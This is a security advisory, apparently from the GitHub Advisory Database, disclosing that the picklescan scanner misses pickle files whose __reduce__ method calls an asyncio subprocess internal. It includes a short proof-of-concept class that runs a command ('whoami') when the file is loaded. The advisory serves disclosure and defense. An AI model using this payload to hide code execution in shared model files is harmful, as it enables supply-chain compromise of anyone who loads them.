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Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start

CVE-2025-71364 ยท 2025-08-26 moderate

Class
Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
Technique
Code and command execution
Also involves
Model Evasion
Affected
picklescan (PyPI)
Gets past
Safe model loader or scanner
EPSS
0.7% chance of exploitation in 30 days

How it works, in short

A pickle payload calling an asyncio subprocess internal is absent from the scanner's denylist, so the scan passes and loading the file runs a command. (Our summary, written by a model. The source text is below.)

Details

Summary

Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace

class EvilAsyncioUnixSubprocessTransportStart:
    def __reduce__(self):
        fake_self = SimpleNamespace(
            _loop=None,
            _protocol=None,
            _proc=None
        )
        args = "whoami"  
        return _UnixSubprocessTransport._start, (
            fake_self, args, True, None, None, None, 0
        )

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

References

Source: GitHub Advisory Database, used under CC BY 4.0.